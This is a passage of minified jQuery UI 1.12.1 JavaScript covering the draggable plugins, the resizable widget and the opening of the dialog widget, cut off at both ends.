igger:function(e,i,s){return s=s||this._uiHash(),t.ui.plugin.call(this,e,[i,s,this],!0),/^(drag|start|stop)/.test(e)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),t.Widget.prototype._trigger.call(this,e,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),t.ui.plugin.add("draggable","connectToSortable",{start:function(e,i,s){var n=t.extend({},i,{item:s.element});s.sortables=[],t(s.options.connectToSortable).each(function(){var i=t(this).sortable("instance");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger("activate",e,n))})},stop:function(e,i,s){var n=t.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,t.each(s.sortables,function(){var t=this;t.isOver?(t.isOver=0,s.cancelHelperRemoval=!0,t.cancelHelperRemoval=!1,t._storedCSS={position:t.placeholder.css("position"),top:t.placeholder.css("top"),left:t.placeholder.css("left")},t._mouseStop(e),t.options.helper=t.options._helper):(t.cancelHelperRemoval=!0,t._trigger("deactivate",e,n))})},drag:function(e,i,s){t.each(s.sortables,function(){var n=!1,o=this;o.positionAbs=s.positionAbs,o.helperProportions=s.helperProportions,o.offset.click=s.offset.click,o._intersectsWith(o.containerCache)&&(n=!0,t.each(s.sortables,function(){return this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==o&&this._intersectsWith(this.containerCache)&&t.contains(o.element[0],this.element[0])&&(n=!1),n})),n?(o.isOver||(o.isOver=1,s._parent=i.helper.parent(),o.currentItem=i.helper.appendTo(o.element).data("ui-sortable-item",!0),o.options._helper=o.options.helper,o.options.helper=function(){return i.helper[0]},e.target=o.currentItem[0],o._mouseCapture(e,!0),o._mouseStart(e,!0,!0),o.offset.click.top=s.offset.click.top,o.offset.click.left=s.offset.click.left,o.offset.parent.left-=s.offset.parent.left-o.offset.parent.left,o.offset.parent.top-=s.offset.parent.top-o.offset.parent.top,s._trigger("toSortable",e),s.dropped=o.element,t.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,o.fromOutside=s),o.currentItem&&(o._mouseDrag(e),i.position=o.position)):o.isOver&&(o.isOver=0,o.cancelHelperRemoval=!0,o.options._revert=o.options.revert,o.options.revert=!1,o._trigger("out",e,o._uiHash(o)),o._mouseStop(e,!0),o.options.revert=o.options._revert,o.options.helper=o.options._helper,o.placeholder&&o.placeholder.remove(),i.helper.appendTo(s._parent),s._refreshOffsets(e),i.position=s._generatePosition(e,!0),s._trigger("fromSortable",e),s.dropped=!1,t.each(s.sortables,function(){this.refreshPositions()}))})}}),t.ui.plugin.add("draggable","cursor",{start:function(e,i,s){var n=t("body"),o=s.options;n.css("cursor")&&(o._cursor=n.css("cursor")),n.css("cursor",o.cursor)},stop:function(e,i,s){var n=s.options;n._cursor&&t("body").css("cursor",n._cursor)}}),t.ui.plugin.add("draggable","opacity",{start:function(e,i,s){var n=t(i.helper),o=s.options;n.css("opacity")&&(o._opacity=n.css("opacity")),n.css("opacity",o.opacity)},stop:function(e,i,s){var n=s.options;n._opacity&&t(i.helper).css("opacity",n._opacity)}}),t.ui.plugin.add("draggable","scroll",{start:function(t,e,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(e,i,s){var n=s.options,o=!1,a=s.scrollParentNotHidden[0],r=s.document[0];a!==r&&"HTML"!==a.tagName?(n.axis&&"x"===n.axis||(s.overflowOffset.top+a.offsetHeight-e.pageY<n.scrollSensitivity?a.scrollTop=o=a.scrollTop+n.scrollSpeed:e.pageY-s.overflowOffset.top<n.scrollSensitivity&&(a.scrollTop=o=a.scrollTop-n.scrollSpeed)),n.axis&&"y"===n.axis||(s.overflowOffset.left+a.offsetWidth-e.pageX<n.scrollSensitivity?a.scrollLeft=o=a.scrollLeft+n.scrollSpeed:e.pageX-s.overflowOffset.left<n.scrollSensitivity&&(a.scrollLeft=o=a.scrollLeft-n.scrollSpeed))):(n.axis&&"x"===n.axis||(e.pageY-t(r).scrollTop()<n.scrollSensitivity?o=t(r).scrollTop(t(r).scrollTop()-n.scrollSpeed):t(window).height()-(e.pageY-t(r).scrollTop())<n.scrollSensitivity&&(o=t(r).scrollTop(t(r).scrollTop()+n.scrollSpeed))),n.axis&&"y"===n.axis||(e.pageX-t(r).scrollLeft()<n.scrollSensitivity?o=t(r).scrollLeft(t(r).scrollLeft()-n.scrollSpeed):t(window).width()-(e.pageX-t(r).scrollLeft())<n.scrollSensitivity&&(o=t(r).scrollLeft(t(r).scrollLeft()+n.scrollSpeed)))),o!==!1&&t.ui.ddmanager&&!n.dropBehaviour&&t.ui.ddmanager.prepareOffsets(s,e)}}),t.ui.plugin.add("draggable","snap",{start:function(e,i,s){var n=s.options;s.snapElements=[],t(n.snap.constructor!==String?n.snap.items||":data(ui-draggable)":n.snap).each(function(){var e=t(this),i=e.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:e.outerWidth(),height:e.outerHeight(),top:i.top,left:i.left})})},drag:function(e,i,s){var n,o,a,r,h,l,c,u,d,p,f=s.options,g=f.snapTolerance,m=i.offset.left,_=m+s.helperProportions.width,v=i.offset.top,b=v+s.helperProportions.height;for(d=s.snapElements.length-1;d>=0;d--)h=s.snapElements[d].left-s.margins.left,l=h+s.snapElements[d].width,c=s.snapElements[d].top-s.margins.top,u=c+s.snapElements[d].height,h-g>_||m>l+g||c-g>b||v>u+g||!t.contains(s.snapElements[d].item.ownerDocument,s.snapElements[d].item)?(s.snapElements[d].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=!1):("inner"!==f.snapMode&&(n=g>=Math.abs(c-b),o=g>=Math.abs(u-v),a=g>=Math.abs(h-_),r=g>=Math.abs(l-m),n&&(i.position.top=s._convertPositionTo("relative",{top:c-s.helperProportions.height,left:0}).top),o&&(i.position.top=s._convertPositionTo("relative",{top:u,left:0}).top),a&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h-s.helperProportions.width}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l}).left)),p=n||o||a||r,"outer"!==f.snapMode&&(n=g>=Math.abs(c-v),o=g>=Math.abs(u-b),a=g>=Math.abs(h-m),r=g>=Math.abs(l-_),n&&(i.position.top=s._convertPositionTo("relative",{top:c,left:0}).top),o&&(i.position.top=s._convertPositionTo("relative",{top:u-s.helperProportions.height,left:0}).top),a&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left)),!s.snapElements[d].snapping&&(n||o||a||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=n||o||a||r||p)}}),t.ui.plugin.add("draggable","stack",{start:function(e,i,s){var n,o=s.options,a=t.makeArray(t(o.stack)).sort(function(e,i){return(parseInt(t(e).css("zIndex"),10)||0)-(parseInt(t(i).css("zIndex"),10)||0)});a.length&&(n=parseInt(t(a[0]).css("zIndex"),10)||0,t(a).each(function(e){t(this).css("zIndex",n+e)}),this.css("zIndex",n+a.length))}}),t.ui.plugin.add("draggable","zIndex",{start:function(e,i,s){var n=t(i.helper),o=s.options;n.css("zIndex")&&(o._zIndex=n.css("zIndex")),n.css("zIndex",o.zIndex)},stop:function(e,i,s){var n=s.options;n._zIndex&&t(i.helper).css("zIndex",n._zIndex)}}),t.ui.draggable,t.widget("ui.resizable",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,classes:{"ui-resizable-se":"ui-icon ui-icon-gripsmall-diagonal-se"},containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(t){return parseFloat(t)||0},_isNumber:function(t){return!isNaN(parseFloat(t))},_hasScroll:function(e,i){if("hidden"===t(e).css("overflow"))return!1;var s=i&&"left"===i?"scrollLeft":"scrollTop",n=!1;return e[s]>0?!0:(e[s]=1,n=e[s]>0,e[s]=0,n)},_create:function(){var e,i=this.options,s=this;this._addClass("ui-resizable"),t.extend(this,{_aspectRatio:!!i.aspectRatio,aspectRatio:i.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:i.helper||i.ghost||i.animate?i.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(t("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,e={marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom"),marginLeft:this.originalElement.css("marginLeft")},this.element.css(e),this.originalElement.css("margin",0),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css(e),this._proportionallyResize()),this._setupHandles(),i.autoHide&&t(this.element).on("mouseenter",function(){i.disabled||(s._removeClass("ui-resizable-autohide"),s._handles.show())}).on("mouseleave",function(){i.disabled||s.resizing||(s._addClass("ui-resizable-autohide"),s._handles.hide())}),this._mouseInit()},_destroy:function(){this._mouseDestroy();var e,i=function(e){t(e).removeData("resizable").removeData("ui-resizable").off(".resizable").find(".ui-resizable-handle").remove()};return this.elementIsWrapper&&(i(this.element),e=this.element,this.originalElement.css({position:e.css("position"),width:e.outerWidth(),height:e.outerHeight(),top:e.css("top"),left:e.css("left")}).insertAfter(e),e.remove()),this.originalElement.css("resize",this.originalResizeStyle),i(this.originalElement),this},_setOption:function(t,e){switch(this._super(t,e),t){case"handles":this._removeHandles(),this._setupHandles();break;default:}},_setupHandles:function(){var e,i,s,n,o,a=this.options,r=this;if(this.handles=a.handles||(t(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this._handles=t(),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),s=this.handles.split(","),this.handles={},i=0;s.length>i;i++)e=t.trim(s[i]),n="ui-resizable-"+e,o=t("<div>"),this._addClass(o,"ui-resizable-handle "+n),o.css({zIndex:a.zIndex}),this.handles[e]=".ui-resizable-"+e,this.element.append(o);this._renderAxis=function(e){var i,s,n,o;e=e||this.element;for(i in this.handles)this.handles[i].constructor===String?this.handles[i]=this.element.children(this.handles[i]).first().show():(this.handles[i].jquery||this.handles[i].nodeType)&&(this.handles[i]=t(this.handles[i]),this._on(this.handles[i],{mousedown:r._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(s=t(this.handles[i],this.element),o=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),n=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),e.css(n,o),this._proportionallyResize()),this._handles=this._handles.add(this.handles[i])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(".ui-resizable-handle")),this._handles.disableSelection(),this._handles.on("mouseover",function(){r.resizing||(this.className&&(o=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),r.axis=o&&o[1]?o[1]:"se")}),a.autoHide&&(this._handles.hide(),this._addClass("ui-resizable-autohide"))},_removeHandles:function(){this._handles.remove()},_mouseCapture:function(e){var i,s,n=!1;for(i in this.handles)s=t(this.handles[i])[0],(s===e.target||t.contains(s,e.target))&&(n=!0);return!this.options.disabled&&n},_mouseStart:function(e){var i,s,n,o=this.options,a=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css("left")),s=this._num(this.helper.css("top")),o.containment&&(i+=t(o.containment).scrollLeft()||0,s+=t(o.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:s},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:a.width(),height:a.height()},this.originalSize=this._helper?{width:a.outerWidth(),height:a.outerHeight()}:{width:a.width(),height:a.height()},this.sizeDiff={width:a.outerWidth()-a.width(),height:a.outerHeight()-a.height()},this.originalPosition={left:i,top:s},this.originalMousePosition={left:e.pageX,top:e.pageY},this.aspectRatio="number"==typeof o.aspectRatio?o.aspectRatio:this.originalSize.width/this.originalSize.height||1,n=t(".ui-resizable-"+this.axis).css("cursor"),t("body").css("cursor","auto"===n?this.axis+"-resize":n),this._addClass("ui-resizable-resizing"),this._propagate("start",e),!0},_mouseDrag:function(e){var i,s,n=this.originalMousePosition,o=this.axis,a=e.pageX-n.left||0,r=e.pageY-n.top||0,h=this._change[o];return this._updatePrevProperties(),h?(i=h.apply(this,[e,a,r]),this._updateVirtualBoundaries(e.shiftKey),(this._aspectRatio||e.shiftKey)&&(i=this._updateRatio(i,e)),i=this._respectSize(i,e),this._updateCache(i),this._propagate("resize",e),s=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),t.isEmptyObject(s)||(this._updatePrevProperties(),this._trigger("resize",e,this.ui()),this._applyChanges()),!1):!1},_mouseStop:function(e){this.resizing=!1;var i,s,n,o,a,r,h,l=this.options,c=this;return this._helper&&(i=this._proportionallyResizeElements,s=i.length&&/textarea/i.test(i[0].nodeName),n=s&&this._hasScroll(i[0],"left")?0:c.sizeDiff.height,o=s?0:c.sizeDiff.width,a={width:c.helper.width()-o,height:c.helper.height()-n},r=parseFloat(c.element.css("left"))+(c.position.left-c.originalPosition.left)||null,h=parseFloat(c.element.css("top"))+(c.position.top-c.originalPosition.top)||null,l.animate||this.element.css(t.extend(a,{top:h,left:r})),c.helper.height(c.size.height),c.helper.width(c.size.width),this._helper&&!l.animate&&this._proportionallyResize()),t("body").css("cursor","auto"),this._removeClass("ui-resizable-resizing"),this._propagate("stop",e),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var t={};return this.position.top!==this.prevPosition.top&&(t.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(t.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(t.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(t.height=this.size.height+"px"),this.helper.css(t),t},_updateVirtualBoundaries:function(t){var e,i,s,n,o,a=this.options;o={minWidth:this._isNumber(a.minWidth)?a.minWidth:0,maxWidth:this._isNumber(a.maxWidth)?a.maxWidth:1/0,minHeight:this._isNumber(a.minHeight)?a.minHeight:0,maxHeight:this._isNumber(a.maxHeight)?a.maxHeight:1/0},(this._aspectRatio||t)&&(e=o.minHeight*this.aspectRatio,s=o.minWidth/this.aspectRatio,i=o.maxHeight*this.aspectRatio,n=o.maxWidth/this.aspectRatio,e>o.minWidth&&(o.minWidth=e),s>o.minHeight&&(o.minHeight=s),o.maxWidth>i&&(o.maxWidth=i),o.maxHeight>n&&(o.maxHeight=n)),this._vBoundaries=o},_updateCache:function(t){this.offset=this.helper.offset(),this._isNumber(t.left)&&(this.position.left=t.left),this._isNumber(t.top)&&(this.position.top=t.top),this._isNumber(t.height)&&(this.size.height=t.height),this._isNumber(t.width)&&(this.size.width=t.width)},_updateRatio:function(t){var e=this.position,i=this.size,s=this.axis;return this._isNumber(t.height)?t.width=t.height*this.aspectRatio:this._isNumber(t.width)&&(t.height=t.width/this.aspectRatio),"sw"===s&&(t.left=e.left+(i.width-t.width),t.top=null),"nw"===s&&(t.top=e.top+(i.height-t.height),t.left=e.left+(i.width-t.width)),t},_respectSize:function(t){var e=this._vBoundaries,i=this.axis,s=this._isNumber(t.width)&&e.maxWidth&&e.maxWidth<t.width,n=this._isNumber(t.height)&&e.maxHeight&&e.maxHeight<t.height,o=this._isNumber(t.width)&&e.minWidth&&e.minWidth>t.width,a=this._isNumber(t.height)&&e.minHeight&&e.minHeight>t.height,r=this.originalPosition.left+this.originalSize.width,h=this.originalPosition.top+this.originalSize.height,l=/sw|nw|w/.test(i),c=/nw|ne|n/.test(i);return o&&(t.width=e.minWidth),a&&(t.height=e.minHeight),s&&(t.width=e.maxWidth),n&&(t.height=e.maxHeight),o&&l&&(t.left=r-e.minWidth),s&&l&&(t.left=r-e.maxWidth),a&&c&&(t.top=h-e.minHeight),n&&c&&(t.top=h-e.maxHeight),t.width||t.height||t.left||!t.top?t.width||t.height||t.top||!t.left||(t.left=null):t.top=null,t},_getPaddingPlusBorderDimensions:function(t){for(var e=0,i=[],s=[t.css("borderTopWidth"),t.css("borderRightWidth"),t.css("borderBottomWidth"),t.css("borderLeftWidth")],n=[t.css("paddingTop"),t.css("paddingRight"),t.css("paddingBottom"),t.css("paddingLeft")];4>e;e++)i[e]=parseFloat(s[e])||0,i[e]+=parseFloat(n[e])||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var t,e=0,i=this.helper||this.element;this._proportionallyResizeElements.length>e;e++)t=this._proportionallyResizeElements[e],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(t)),t.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var e=this.element,i=this.options;this.elementOffset=e.offset(),this._helper?(this.helper=this.helper||t("<div style='overflow:hidden;'></div>"),this._addClass(this.helper,this._helper),this.helper.css({width:this.element.outerWidth(),height:this.element.outerHeight(),position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(t,e){return{width:this.originalSize.width+e}},w:function(t,e){var i=this.originalSize,s=this.originalPosition;return{left:s.left+e,width:i.width-e}},n:function(t,e,i){var s=this.originalSize,n=this.originalPosition;return{top:n.top+i,height:s.height-i}},s:function(t,e,i){return{height:this.originalSize.height+i}},se:function(e,i,s){return t.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[e,i,s]))},sw:function(e,i,s){return t.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[e,i,s]))},ne:function(e,i,s){return t.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[e,i,s]))},nw:function(e,i,s){return t.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[e,i,s]))}},_propagate:function(e,i){t.ui.plugin.call(this,e,[i,this.ui()]),"resize"!==e&&this._trigger(e,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),t.ui.plugin.add("resizable","animate",{stop:function(e){var i=t(this).resizable("instance"),s=i.options,n=i._proportionallyResizeElements,o=n.length&&/textarea/i.test(n[0].nodeName),a=o&&i._hasScroll(n[0],"left")?0:i.sizeDiff.height,r=o?0:i.sizeDiff.width,h={width:i.size.width-r,height:i.size.height-a},l=parseFloat(i.element.css("left"))+(i.position.left-i.originalPosition.left)||null,c=parseFloat(i.element.css("top"))+(i.position.top-i.originalPosition.top)||null;i.element.animate(t.extend(h,c&&l?{top:c,left:l}:{}),{duration:s.animateDuration,easing:s.animateEasing,step:function(){var s={width:parseFloat(i.element.css("width")),height:parseFloat(i.element.css("height")),top:parseFloat(i.element.css("top")),left:parseFloat(i.element.css("left"))};n&&n.length&&t(n[0]).css({width:s.width,height:s.height}),i._updateCache(s),i._propagate("resize",e)}})}}),t.ui.plugin.add("resizable","containment",{start:function(){var e,i,s,n,o,a,r,h=t(this).resizable("instance"),l=h.options,c=h.element,u=l.containment,d=u instanceof t?u.get(0):/parent/.test(u)?c.parent().get(0):u;d&&(h.containerElement=t(d),/document/.test(u)||u===document?(h.containerOffset={left:0,top:0},h.containerPosition={left:0,top:0},h.parentData={element:t(document),left:0,top:0,width:t(document).width(),height:t(document).height()||document.body.parentNode.scrollHeight}):(e=t(d),i=[],t(["Top","Right","Left","Bottom"]).each(function(t,s){i[t]=h._num(e.css("padding"+s))}),h.containerOffset=e.offset(),h.containerPosition=e.position(),h.containerSize={height:e.innerHeight()-i[3],width:e.innerWidth()-i[1]},s=h.containerOffset,n=h.containerSize.height,o=h.containerSize.width,a=h._hasScroll(d,"left")?d.scrollWidth:o,r=h._hasScroll(d)?d.scrollHeight:n,h.parentData={element:d,left:s.left,top:s.top,width:a,height:r}))},resize:function(e){var i,s,n,o,a=t(this).resizable("instance"),r=a.options,h=a.containerOffset,l=a.position,c=a._aspectRatio||e.shiftKey,u={top:0,left:0},d=a.containerElement,p=!0;d[0]!==document&&/static/.test(d.css("position"))&&(u=h),l.left<(a._helper?h.left:0)&&(a.size.width=a.size.width+(a._helper?a.position.left-h.left:a.position.left-u.left),c&&(a.size.height=a.size.width/a.aspectRatio,p=!1),a.position.left=r.helper?h.left:0),l.top<(a._helper?h.top:0)&&(a.size.height=a.size.height+(a._helper?a.position.top-h.top:a.position.top),c&&(a.size.width=a.size.height*a.aspectRatio,p=!1),a.position.top=a._helper?h.top:0),n=a.containerElement.get(0)===a.element.parent().get(0),o=/relative|absolute/.test(a.containerElement.css("position")),n&&o?(a.offset.left=a.parentData.left+a.position.left,a.offset.top=a.parentData.top+a.position.top):(a.offset.left=a.element.offset().left,a.offset.top=a.element.offset().top),i=Math.abs(a.sizeDiff.width+(a._helper?a.offset.left-u.left:a.offset.left-h.left)),s=Math.abs(a.sizeDiff.height+(a._helper?a.offset.top-u.top:a.offset.top-h.top)),i+a.size.width>=a.parentData.width&&(a.size.width=a.parentData.width-i,c&&(a.size.height=a.size.width/a.aspectRatio,p=!1)),s+a.size.height>=a.parentData.height&&(a.size.height=a.parentData.height-s,c&&(a.size.width=a.size.height*a.aspectRatio,p=!1)),p||(a.position.left=a.prevPosition.left,a.position.top=a.prevPosition.top,a.size.width=a.prevSize.width,a.size.height=a.prevSize.height)},stop:function(){var e=t(this).resizable("instance"),i=e.options,s=e.containerOffset,n=e.containerPosition,o=e.containerElement,a=t(e.helper),r=a.offset(),h=a.outerWidth()-e.sizeDiff.width,l=a.outerHeight()-e.sizeDiff.height;e._helper&&!i.animate&&/relative/.test(o.css("position"))&&t(this).css({left:r.left-n.left-s.left,width:h,height:l}),e._helper&&!i.animate&&/static/.test(o.css("position"))&&t(this).css({left:r.left-n.left-s.left,width:h,height:l})}}),t.ui.plugin.add("resizable","alsoResize",{start:function(){var e=t(this).resizable("instance"),i=e.options;t(i.alsoResize).each(function(){var e=t(this);e.data("ui-resizable-alsoresize",{width:parseFloat(e.width()),height:parseFloat(e.height()),left:parseFloat(e.css("left")),top:parseFloat(e.css("top"))})})},resize:function(e,i){var s=t(this).resizable("instance"),n=s.options,o=s.originalSize,a=s.originalPosition,r={height:s.size.height-o.height||0,width:s.size.width-o.width||0,top:s.position.top-a.top||0,left:s.position.left-a.left||0};t(n.alsoResize).each(function(){var e=t(this),s=t(this).data("ui-resizable-alsoresize"),n={},o=e.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];t.each(o,function(t,e){var i=(s[e]||0)+(r[e]||0);i&&i>=0&&(n[e]=i||null)}),e.css(n)})},stop:function(){t(this).removeData("ui-resizable-alsoresize")}}),t.ui.plugin.add("resizable","ghost",{start:function(){var e=t(this).resizable("instance"),i=e.size;e.ghost=e.originalElement.clone(),e.ghost.css({opacity:.25,display:"block",position:"relative",height:i.height,width:i.width,margin:0,left:0,top:0}),e._addClass(e.ghost,"ui-resizable-ghost"),t.uiBackCompat!==!1&&"string"==typeof e.options.ghost&&e.ghost.addClass(this.options.ghost),e.ghost.appendTo(e.helper)},resize:function(){var e=t(this).resizable("instance");e.ghost&&e.ghost.css({position:"relative",height:e.size.height,width:e.size.width})},stop:function(){var e=t(this).resizable("instance");e.ghost&&e.helper&&e.helper.get(0).removeChild(e.ghost.get(0))}}),t.ui.plugin.add("resizable","grid",{resize:function(){var e,i=t(this).resizable("instance"),s=i.options,n=i.size,o=i.originalSize,a=i.originalPosition,r=i.axis,h="number"==typeof s.grid?[s.grid,s.grid]:s.grid,l=h[0]||1,c=h[1]||1,u=Math.round((n.width-o.width)/l)*l,d=Math.round((n.height-o.height)/c)*c,p=o.width+u,f=o.height+d,g=s.maxWidth&&p>s.maxWidth,m=s.maxHeight&&f>s.maxHeight,_=s.minWidth&&s.minWidth>p,v=s.minHeight&&s.minHeight>f;s.grid=h,_&&(p+=l),v&&(f+=c),g&&(p-=l),m&&(f-=c),/^(se|s|e)$/.test(r)?(i.size.width=p,i.size.height=f):/^(ne)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.top=a.top-d):/^(sw)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.left=a.left-u):((0>=f-c||0>=p-l)&&(e=i._getPaddingPlusBorderDimensions(this)),f-c>0?(i.size.height=f,i.position.top=a.top-d):(f=c-e.height,i.size.height=f,i.position.top=a.top+o.height-f),p-l>0?(i.size.width=p,i.position.left=a.left-u):(p=l-e.width,i.size.width=p,i.position.left=a.left+o.width-p))}}),t.ui.resizable,t.widget("ui.dialog",{version:"1.12.1",options:{appendTo:"body",autoOpen:!0,buttons:[],classes:{"ui-dialog":"ui-corner-all","ui-dialog-titlebar":"ui-corner-all"},closeOnEscape:!0,closeText:"Close",draggable:!0,hide:null,height:"auto",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",of:window,collision:"fit",using:function(e){var i=t(this).css(e).offset().top;0>i&&t(this).css("top",e.top-i)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},sizeRelatedOptions:{buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},resizableRelatedOptions:{maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height},this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)},this.originalTitle=this.element.attr("title"),null==this.options.title&&null!=this.originalTitle&&(this.options.title=this.originalTitle),this.options.disabled&&(this.options.disabled=!1),this._createWrapper(),this.element.show().removeAttr("title").appendTo(this.uiDialog),this._addClass("ui-dialog-content","ui-widget-content"),this._createTitlebar(),this._createButtonPane(),this.options.draggable&&t.fn.draggable&&this._makeDraggable(),this.options.resizable&&t.fn.resizable&&this._makeResizable(),this._isOpen=!1,this._trackFocus()},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var e=this.options.appendTo;return e&&(e.jquery||e.nodeType)?t(e):this.document.find(e||"body").eq(0)},_destroy:function(){var t,e=this.originalPosition;this._untrackInstance(),this._destroyOverlay(),this.element.removeUniqueId().css(this.originalCss).detach(),this.uiDialog.remove(),this.originalTitle&&this.element.attr("title",this.originalTitle),t=e.parent.children().eq(e.index),t.length&&t[0]!==this.element[0]?t.before(this.element):e.parent.append(this.element)},widget:function(){return this.uiDialog
},disable:t.noop,enable:t.noop,close:function(e){var i=this;this._isOpen&&this._trigger("beforeClose",e)!==!1&&(this._isOpen=!1,this._focusedElement=null,this._destroyOverlay(),this._untrackInstance(),this.opener.filter(":focusable").trigger("focus").length||t.ui.safeBlur(t.ui.safeActiveElement(this.document[0])),this._hide(this.uiDialog,this.options.hide,function(){i._trigger("close",e)}))},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(e,i){var s=!1,n=this.uiDialog.siblings(".ui-front:visible").map(function(){return+t(this).css("z-index")}).get(),o=Math.max.apply(null,n);return o>=+this.uiDialog.css("z-index")&&(this.uiDialog.css("z-index",o+1),s=!0),s&&!i&&this._trigger("focus",e),s},open:function(){var e=this;return this._isOpen?(this._moveToTop()&&this._focusTabbable(),void 0):(this._isOpen=!0,this.opener=t(t.ui.safeActiveElement(this.document[0])),this._size(),this._position(),this._createOverlay(),this._moveToTop(null,!0),this.overlay&&this.overlay.css("z-index",this.uiDialog.css("z-index")-1),this._show(this.uiDialog,this.options.show,function(){e._focusTabbable(),e._trigger("focus")}),this._makeFocusTarget(),this._trigger("open"),void 0)},_focusTabbable:function(){var t=this._focusedElement;t||(t=this.element.find("[autofocus]")),t.length||(t=this.element.find(":tabbable")),t.length||(t=this.uiDialogButtonPane.find(":tabbable")),t.length||(t=this.uiDialogTitlebarClose.filter(":tabbable")),t.length||(t=this.uiDialog),t.eq(0).trigger("focus")},_keepFocus:function(e){function i(){var e=t.ui.safeActiveElement(this.document[0]),i=this.uiDialog[0]===e||t.contains(this.uiDialog[0],e);i||this._focusTabbable()}e.preventDefault(),i.call(this),this._delay(i)},_createWrapper:function(){this.uiDialog=t("<div>").hide().attr({tabIndex:-1,role:"dialog"}).appendTo(this._appendTo()),this._addClass(this.uiDialog,"ui-dialog","ui-widget ui-widget-content 